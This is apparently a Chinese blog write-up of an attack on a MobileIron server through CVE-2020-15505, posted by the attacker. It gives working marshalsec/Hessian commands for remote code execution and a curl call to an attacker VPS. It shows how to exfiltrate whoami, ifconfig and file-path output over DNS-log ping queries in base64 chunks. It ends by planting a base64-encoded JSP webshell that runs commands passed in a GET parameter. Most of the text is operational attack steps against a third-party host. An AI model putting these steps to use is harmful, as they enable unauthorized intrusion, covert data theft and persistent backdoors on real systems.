一次不出网的CVE-2020-15505漏洞写shell
0x01 入口
通过信息收集,找到了https://mi.test.com,是一个MobileIron,吐槽: 其实就是fofa翻翻翻翻翻翻到的。
想起去年orange通过挖掘该系统漏洞获取了facebook权限。在GitHub上也有POC披露,于是便尝试使用该漏洞攻击。
https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
POC下载地址:
https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505
0x02 出网测试
对于不清楚内网环境的情况都需要进行fuzz,可以先尝试curl查看是否出网。
#生成访问VPS的命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "curl http://111.111.111.111/mdmpoc" > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
发现并不能访问我的vps,于是只能通过dnslog查看内网环境。我们可以通过ping命令将信息带回。需要注意的是,最后面的双引号要改为单引号,否则反引号需要"\\"转义
0x03 dnslog出whoami
#生成访问dnslog的并且带出whoami的命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'ping `whoami`.mydnslog.com' > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
接着执行exp,在dnslog成功返回了用户名:
首先我们知道在带入ping中是无法执行带参数的命令的,也无法返回多行的字符。只能逐个命令进行fuzz,例如返回uname -a、ifconfig命令字符串。
0x04 数据返回
通过本地fuzz后发现,特殊字符可能会影响命令执行,如+/等,各个系统可能会有差异。
0x04.1 第一层-编码
为了解决该问题,我们得将命令执行的结果进行base64编码返回:
ifconfig|base64
0x04.2 第二层-管道
当然这还不行,还要解决多行,可以使用head命令指定第几行:
ifconfig|head -n 1|base64
最基础的命令已经解决了,可是我们无法在反引号中执行,如下:
ping `ifconfig|head -n 1|base64`.mydnslog.com
0x04.3 第三层-变量
linux可以使用变量将结果再调用,整理命令后:
'whoami123=`ifconfig|head -n 1` && ping $whoami123.mydnslog.com'
0x04.4 第四层-字符限制
dnslog每级域名最长是63,总长不超过253。我们并不能决定命令执行的结果长度,只能截取<63长度的结果。20个字符串base64编码后刚好不会超过长度64。
'whoami123=`ifconfig|head -n 1|cut -b 1-20|base64` && $whoami123.mydnslog.com'
0x05 测试命令执行
了解基本命令之后,我们便能轻松对服务器进行命令执行。一顿操作之后,获取内网地址在15-35个字符串之间:
#生成命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`ifconfig|head -n 2|cut -b 15-35|base64` && ping $whoami123.mydnslog.com' > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
0x06 查找web目录
查找web目录,就拿首页的login.jsp进行扫描,使用2>/dev/null隐藏错误输出:
#生成命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 1-20|base64` && ping $$whoami123.mydnslog.com' > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
还不够,继续截取:
#生成命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 21-40|base64` && ping $$whoami123.mydnslog.com' > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
拼接之后就能得到:
如果字符过长的话就一行一行显示吧,只需要改head -n,比较麻烦:
head -n 1 | tail -n 1
0x07 写webshell
使用base64编码进行写shell:
#生成命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/1.jsp
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
写了img目录、mifs目录、css目录都会跳转至登陆界面,得找一个能够不会跳转的界面。
这种情况的话建议打开web登录然后右键源代码看一下。执行命令太麻烦了,反正绝对路径已经知道了,自己猜测然后拼接一下更省力。
经过fuzz之后,发现s目录可以解析,上传shell之后不能执行。但是访问的时候确实解析了,抓包看一下,POST请求居然要认证。
那就用GET型的马,进行上shell:
#生成命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/s/6.jsp' > exp.ser
#执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser
文章来源:https://mp.weixin.qq.com/s/Y26unnnkR9IFLbIsPxiBzw
